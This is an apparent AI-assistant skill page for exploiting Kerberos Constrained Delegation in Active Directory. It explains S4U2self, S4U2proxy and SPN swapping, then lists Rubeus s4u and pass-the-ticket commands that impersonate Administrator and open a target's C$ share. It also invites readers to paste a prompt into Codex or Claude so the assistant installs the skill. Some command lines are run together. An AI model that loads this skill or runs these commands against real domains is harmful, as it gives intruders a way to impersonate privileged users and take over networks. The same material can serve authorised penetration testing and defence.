How to enumerate and exploit Kerberos Constrained Delegation in Active Directory for privilege escalation. Use this skill whenever the user mentions constrained delegation, S4U2self, S4U2proxy, msDS-AllowedToDelegateTo, TrustedToAuthForDelegation, Kerberos delegation attacks, or any scenario involving service account impersonation in AD environments. Also trigger for Rubeus s4u commands, Impacket getST with altservice, or when investigating delegation-based privilege escalation paths.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
How to enumerate and exploit Kerberos Constrained Delegation in Active Directory for privilege escalation. Use this skill whenever the user mentions constrained delegation, S4U2self, S4U2proxy, msDS-AllowedToDelegateTo, TrustedToAuthForDelegation, Kerberos delegation attacks, or any scenario involving service account impersonation in AD environments. Also trigger for Rubeus s4u commands, Impacket getST with altservice, or when investigating delegation-based privilege escalation paths.
Active Directory Constrained Delegation Exploitation
This skill covers enumeration and exploitation of Kerberos Constrained Delegation misconfigurations in Active Directory environments.
What is Constrained Delegation
Constrained delegation allows a Domain Admin to permit a computer or service account to impersonate users against specific services on designated machines. When compromised, this enables:
S4U2self: Service account obtains TGS for itself on behalf of any user
S4U2proxy: Service account obtains TGS on behalf of any user to services listed in msDS-AllowedToDelegateTo
Key insight: If you compromise the hash of a service account with constrained delegation enabled, you can impersonate users and access services on their behalf — often leading to privilege escalation.
Critical Limitations
Users marked as "Account is sensitive and cannot be delegated" cannot be impersonated
SPN swapping weakness: If you have access to one service (e.g., CIFS), you can often access others (e.g., HOST, LDAP) using /altservice flag
LDAP access on DC enables DSync attacks
Cross-Domain Delegation (2025+)
Windows Server 2012+ supports constrained delegation across domains/forests. Modern builds (2016–2025) add PAC SIDs:
S-1-18-1 (AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY): Normal authentication
S-1-18-2 (SERVICE_ASSERTED_IDENTITY): Protocol transition via S4U2Proxy
# Get TGS for user to self
.\Rubeus.exe s4u /ticket:TGT.kirbi /impersonateuser:Administrator /outfile:TGS_admin
# Get service TGS impersonating user
.\Rubeus.exe s4u /ticket:TGT.kirbi /tgs:TGS_admin \
/msdsspn:"CIFS/target.domain.local" /outfile:TGS_CIFS
# SPN swap to different service
.\Rubeus.exe s4u /ticket:TGT.kirbi /tgs:TGS_admin \
/msdsspn:"CIFS/target.domain.local" /altservice:HOST /outfile:TGS_HOST
# Load ticket
.\Rubeus.exe ptt /ticket:TGS_HOST
Step 3: Use the Ticket
# After PTT, use standard tools
smbclient -k //target.domain.local/C$ -c 'dir'# Or with Impacketexport KRB5CCNAME=Administrator.ccache
smbclient -k //target.domain.local/C$ -c 'dir'